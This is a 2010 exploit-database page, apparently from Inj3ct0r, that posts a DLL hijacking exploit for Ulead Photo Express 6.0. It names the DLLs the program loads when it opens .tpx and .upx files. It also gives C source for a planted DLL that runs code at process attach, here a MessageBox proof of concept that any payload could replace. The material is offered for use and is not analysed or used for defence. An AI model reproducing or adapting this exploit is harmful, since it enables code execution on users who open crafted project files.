Home / os / win7

[webapps / 0day] - Ulead Photo Express 6.0 DLL Hijacking Exp

Posted on 13 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Ulead Photo Express 6.0 DLL Hijacking Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Ulead Photo Express 6.0 DLL Hijacking Exploit by indoushka in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=============================================
Ulead Photo Express 6.0 DLL Hijacking Exploit 
=============================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /&#039;             __  /&#039;__`        / \__  /&#039;__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /&#039; _ ` / /_/_\_&lt;_  /&#039;___  /    /`&#039;__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    #######################################           1
0                    I&#039;m indoushka member from Inj3ct0r Team           1
1                    #######################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

######################################################################## 

# Vendor: http://www.Ulead.com/

# Date: 2010-07-27 

# Author : indoushka 

# Thanks to : Dz-Ghost Team

# Contact : http://www.hack-r1z.com/cc/

# Tested on : windows SP2 Francais V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 
-------------
exploited ipe.dat with exploit.tpx using u32rsspy.dll
exploited ipe.dat with exploit.tpx using uipl.dll
exploited ipe.dat with exploit.tpx using bwsconst.dll
exploited ipe.dat with exploit.upx using u32rsspy.dll
exploited ipe.dat with exploit.upx using uipl.dll
exploited ipe.dat with exploit.upx using bwsconst.dll

-------------
#include &quot;stdafx.h&quot;
#include &quot;stdlib.h&quot;
void init() {
MessageBox(NULL,&quot;indoushka&quot;, &quot;Hack3d&quot;,0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-13]</pre></body></html>

 

TOP

Malware :

Exploits :